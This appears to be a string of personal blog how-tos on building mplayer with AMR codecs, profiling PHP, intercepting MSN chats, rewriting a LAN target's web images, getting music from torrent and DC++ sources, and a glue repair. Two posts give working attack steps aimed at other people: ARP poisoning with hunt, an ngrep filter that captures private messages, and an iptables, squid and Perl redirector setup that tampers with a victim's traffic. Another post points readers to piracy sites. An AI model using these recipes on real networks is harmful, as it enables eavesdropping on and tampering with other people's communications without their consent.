First we need to get the mplayer source

sudo -s
cd /usr/src
mkdir -p mplayer
cd mplayer
apt-get source mplayer

Then we need to get the 3gp drivers to enable the amr_nb and amr_wb codecs in libavblockquotec, do this:

wget http://www.3gpp.org/ftp/Specs/archive/26_series/26.104/26104-510.zip
wget http://www.3gpp.org/ftp/Specs/archive/26_series/26.204/26204-510.zip
unzip 26104-510.zip
unzip 26204-510.zip

cd mplayer-1.0~rc1 # this directory may have a different name
mkdir libavblockquotec/amr_float
mkdir libavblockquotec/amrwb_float

cd libavblockquotec/amr_float
unzip /usr/src/mplayer/26104-510_ANSI_C_source_blockquote.zip
cd ..

cd libavblockquotec/amrwb_float
unzip /usr/src/mplayer/26204-510_ANSI-C_source_blockquote.zip

To keep apt from installing the old version of mplayer next time you update, we need to increment the version number. Open up /usr/src/mplayer/cd mplayer-1.0~rc1/debian/changelog

gedit /usr/src/mplayer/cd mplayer-1.0~rc1/debian/changelog

and change the first line from “mplayer (2:1.0~rc1-0ubuntu3) feisty; urgency=low” to “mplayer (3:1.0~rc1-0ubuntu3) feisty; urgency=low” - This line may look different on your ubuntu installation.

Now that the amr codecs is in the source tree, it’s time to compile our new mplayer

apt-get build-dep mplayer
cd /usr/src/mplayer/cd mplayer-1.0~rc1
dpkg-buildpackage

After it has finished compiling, these debs will be available in /usr/src/mplayer

0 vishnu@vaio:/usr/src/mplayer> ls *.deb -c1
mplayer-doc_1.0~rc1-0ubuntu3_all.deb
menblockquoter_1.0~rc1-0ubuntu3_i386.deb
mplayer-nogui_1.0~rc1-0ubuntu3_i386.deb
mplayer_1.0~rc1-0ubuntu3_i386.deb

Install what you want - this is what i did:

dpkg -i mplayer_1.0\~rc1-0ubuntu3_i386.deb \
menblockquoter_1.0\~rc1-0ubuntu3_i386.deb \
mplayer-doc_1.0\~rc1-0ubuntu3_all.deb

And you’re done!
Now you can play your 3gp videos with sound!

ps. this howto was writting without checking for spelling errors, please let me know if something does not work.

To do this we need a code profiler. A profiler records a log of what your algorithm does, and where it spends the most time. The profiler I use is PHP-APD, it’s command line line based and easy to use.

If you’re in a debian/ubuntu environment, just do

sudo apt-get install php4-apd

If you’re not, follow the installation instructions at http://wiki.cc/php/Apd.

Now, to get your profiler to log whats happening, add this line at the beginning of your file(s):

apd_set_pprof_trace();

Each time you now run the php script, a log file is created in /var/log/php4-apd/. To analyze the log files, we use the tool pprofp. In the log directory, type:

ls -t –format single-column | head -n 1 | xargs pprofp -u

This fires up the profiler with the newest log file. The output should look like this:

Here you can see all the calls, sorted on which uses the most time. Use this information to find out which parts of your code you should optimize. If a subroutine can either use much time if its very complex, or if it’s called a lot of times. Try to minimize these two factors. I’ve used this tool to optimize and find bugs (ie a mysql_query within a while loop, which is a bad idea).

Try out the pprof tool with different arguments, here is a list (pprofp -h):


Sort options
-a Sort by alphabetic names of subroutines.
-l Sort by number of calls to subroutines
-m Sort by memory used in a function call.
-r Sort by real time spent in subroutines.
-R Sort by real time spent in subroutines (inclusive of child calls).
-s Sort by system time spent in subroutines.
-S Sort by system time spent in subroutines (inclusive of child calls).
-u Sort by user time spent in subroutines.
-U Sort by user time spent in subroutines (inclusive of child calls).
-v Sort by average amount of time spent in subroutines.
-z Sort by user+system time spent in subroutines. (default)

Display options
-c Display Real time elapsed alongside call tree.
-i Suppress reporting for php builtin functions
-O Specifies maximum number of subroutines to display. (default 15)
-t Display compressed call tree.
-T Display uncompressed call tree.


Happy coding!

This is what we want to do:

• Eavesdrop on a users Msn Conversations

This is how we’re going to do it:

1. Poison the arptables of the target and the standard gateway to make all traffic go through us
2. Filter out the packages that contain the MSN messages

1. Poison the arptables of the target and the standard gateway

There are tons of tools you can use to poison arp tables, but I’m going to use a script called hunt, which is really simple and powerful. Read my “Howto hack the computers in your LAN” for instructions on how to get it.

Fire up hunt:

sudo ./hunt

In the menu system, go to:

d) daemons rst/arp/sniff/mac
a) arp spoof + arp relayer daemon
a) insert single/range arp spoof
s/k) start/stop relayer daemon (press s)

You will be asked for host1 ip and host2 ip and their mac addresses, use these values:

host1: ip address of the target
mac: YOUR mac address
host2: ip adrdress of the gateway
mac: YOUR mac address

You can find your mac address by running ifconfig.

Congratulations, now all traffic to and from the target goes through you.

2. Filter out the packages that contain the MSN messages

If you try to look at everything an active desktop pc is sending and receiving, you would go crazy within a few minutes. That’s why we need a packet filter. I based my filter on the program ngrep, which is a simple yet powerful network layer (IP) monitor/filter. It uses regex to match useful packets. The filter I designed is very simple, and i bet most of you could throw something much more effective together in a few minutes. (If you do, why not post it in comments?). If you don’t have ngrep installed, do a

sudo apt-get install ngrep

(debin/ubuntu)

The filer i used:

sudo ngrep ‘^MSG.{0,}Content-Type: text/plain.{0,}$’

This matches all packets starting with ‘MSG’, and containing ‘Content-Type: text/plain’ somewhere in the payload. If you get matches on other types of traffic, try to modify my filter. Check out the ngrep man pages and http://www.regular-expressions.info/ for more info.

The output should look something like this:

Outgoing message:

T 10.0.0.88:1148 -> 207.46.26.169:1863 [AP]
MSG 38 N 141..MIME-Version: 1.0..Content-Type: text/plain; charset=UTF-8..X-MMS-IM-Format: FN=Microsoft%20Sans%20Serif; EF=; CO=0; CS=0; PF=22….Hello my friend! How do you do?

Incoming message:

T 207.46.26.169:1863 -> 10.0.0.88:1148 [AP]
MSG targets.email-address@mail.com Target-nickname 135..MIME-Version: 1.0..Con
tent-Type: text/plain; charset=UTF-8..X-MMS-IM-Format: FN=MS%20Shell%20Dlg; EF=; CO=0; CS=0; PF=0….Not so good, my girlfriend kicked me in the nuts

If you want, you can pipe the output to a perl/php/bash script and remove everything but the nick and message, but that’s slave labour I’ll let you do yourself!

It is actually that simple!

More information on ARP spoofing can be found at
http://www.watchguard.com/infocenter/editorial/135324.asp

Happy hacking!

This is what we want to do:

• Make the target send all http packet to us instead of the gateway
• Forward them to the real gateway
• Modify the replay, with the pictures upside-down
• Forward the replay to the target

This is how we’re going to do it:

1. Poison the ARP table of the target
2. Set up our pc as a gateway router
3. Send all http requests through a squid proxy
4. Turn images upside-down with a squid script

Ok, sound great, lets get started!

1. Poison the ARP table of the target
We want the target to send all packets to us instead of the real gateway. To do this we need to know a little about ip addresses and mac addresses. When we wan to send a packet to 10.0.0.1, there is sent out an ARP request on the local lan, saying “Which computer is at 10.0.0.1?”, then 10.0.0.1 answers with an ARP repay “I am at 10.0.0.1, with mac address 11:22:33:44:55:66″. Then we send the packet to 11:22:33:44:55:66. ARP replays are cached in a local ARP table, so the next time we want to send to 10.0.0.1, we don’t need to ask who’s got it. We are going to send a fake ARP replay to the target (10.0.0.88), saying we are at 10.0.0.1. Usually ARP replays are accepted even though no request was sent, so this is actually really easy.

How do I do this?
We can use arpoison to construct a fake packet and send it, but i prefer to use another a bit mor powerful script, called hunt. You can download the hunt source code here, and compile like this:

tar zxvf hunt-1.5.tgz
cd hunt-1.5
make

If you’re not comfortable compiling yourself, you can download the one i compiled (i386) here.

Fire up hunt:

sudo ./hunt

In the menu system go to

d) daemons rst/arp/sniff/mac
a) arp spoof + arp relayer daemon
i/I) insert single/range arp spoof
s/k) start/stop relayer daemon (press s)

Type in the ip of the real gateway, your mac address (find this by running ifconfig), and the targets ip. Now we have poisoned the ARP table of the target. You can confirm the poisoning by typing “arp -a” on the target, and see that the gateway ip has your mac address.

2. Set up our pc as a gateway router
This is easy, just do this commands:

sudo iptables -F
sudo iptables -F -t nat
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

Where eth0 is your network interface connected to the lan. The changes are reset the next time the network is reloaded.

3. Send all http requests through a squid proxy
Install squid and reset it’s config:

sudo apt-get squid
sudo mv /etc/squid/squid.conf /etc/squid/squid.conf.default

Edit /etc/squid/squid.conf with your favorite editor like this:

http_port 127.0.0.1:8080
http_port 10.0.0.2:8080

visible_hostname gateway.my.flat
cache_mgr proxy@foo.com

httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on

acl all src 0.0.0.0/0.0.0.0

http_access allow all

redirect_program /var/redirect

4. Turn images upside-down with a squid script
We use the redirect program defined in the squid config to flip our images, edit /var/redirect to look like this:


#!/usr/bin/perl
$|=1;
$count = 0;
$pid = $$;
while (<>) {
chomp $_;
if ($_ =~ /(.*\.jpg)/i) {
$url = $1;
system(”/usr/bin/wget”, “-q”, “-O”,”/var/www/$pid-$count.jpg”, “$url”);
system(”/usr/bin/mogrify”, “-flip”,”/var/www/$pid-$count.jpg”);
system(”/bin/chmod”, “777″, “/var/www/$pid-$count.jpg”);
print “http://127.0.0.1/$pid-$count.jpg\n”;
}
elsif ($_ =~ /(.*\.gif)/i) {
$url = $1;
system(”/usr/bin/wget”, “-q”, “-O”,”/var/www/$pid-$count.gif”, “$url”);
system(”/usr/bin/mogrify”, “-flip”,”/var/www/$pid-$count.gif”);
system(”/bin/chmod”, “777″, “/var/www/$pid-$count.gif”);
print “http://127.0.0.1/$pid-$count.gif\n”;

}
else {
print “$_\n”;;
}
$count++;
}


As you can see from the script, we need to serve the flipped images from a local webserver. Therefore, install apache:

sudo apt-get install apache2
sudo chmod -R 777 /var/www

At last, reload squid with the new configuration:

sudo /etc/init.d/squid restart

You can test the squid by configuring your firefox to use localhost:8080 as a proxy server.

YOU HAVE NOW HACKED THE TARGET COMPUTER!

On you friends computer, webpages should now look like this:

picture from http://www.ex-parrot.com/~pete/upside-down-ternet.html

1. What download medium do i use? (what program, what website etc.)
2. How do I find the new cool tracks i want, when I don’t yet know the name of them?

I’ll give you a small guide to the methods I use. I am a dj and therefor i need to get new music, preferably before it gets popular, that is a big challenge. I’ll go through a few approaches:

Torrent sites: Torrent sites has a few advantages and a few disadvantages: It’s easy to use, you just click on what you want and the torrent client you are using will take care of the rest. But what do you download? It’s really unpractical to download one track at the time with BitTorrent, It works best for albums and large collections. When I use torrent sites I mainly download “Various Artists” albums, listen through them, and keep the tracks I like. That way you don’t need to know the name of the new cool tracks before you hear them.

BitTorrent Client

These are the torrent clients I’ve used:

• Azerus (Windwos)
• BitTorrent (Linux/Windows)
• BitTornado (Linux)
• BitComet (Windows) *
• TorrentFlux (Web based) *

These are the sites I’ve been using:

• http://www.thepiratebay.org *
• http://www.mininova.org

I have marked my favorites with *.

DC++: This is my favorite file sharing program. It is an open source application for windows, but has been ported to Linux as well. It works like this: you connect to a hub (a server which collects all the lists of shared files of the users and lets you search them), you search for a file and then you choose which other user you want to download from.

DC++ for Linux

It’s actually really simple, but however there are a few drawbacks. First you need a good hub, there are a lot out there but I only use this one:

• djcenter2004.no-ip.org

It is a hub for dj’s, and it won’t let you if you share anything other than music (at least 5 gb). I always find what I need there. The next problem is how to know what to search for. I’ve got some sites I check usually, here are some of them:

• DeeJayPromo - Up to date dance, house and hip-hop charts.
• Last.fm - Find the tags for your music and see whats hot!
• Tranceaddict.com - Forums for electronic music.

Another way to find new tracks is to download dj liveset on DC++ or with BitTorrent and listen to them. Check the tracklist when you find a cool tune.

I figured I’d glue it with super strong 2-component glue, but after one disappointing trail, i found out I needed something stronger. This is what I did: I found some metal bits and cut/bent them into shape, as you can see from the photos I used one on the outside and one on the inside. When they fit perfectly, i glued it all together. Be sure to mix the 2 components good before applying. I used 24 hour glue, which made keeping the parts preassured together really difficult, but i managed with some bits of wood and a large amount of ducktape.

As you can see below, i added small metal bits on the sides as well. The thought was to strap a thin strip around the metal to keep it together, but I don’t think that was nessacery.

I am quite sure my fix is stronger than the original link, and I am actually thinking about doing the same to the other side. (before it breaks)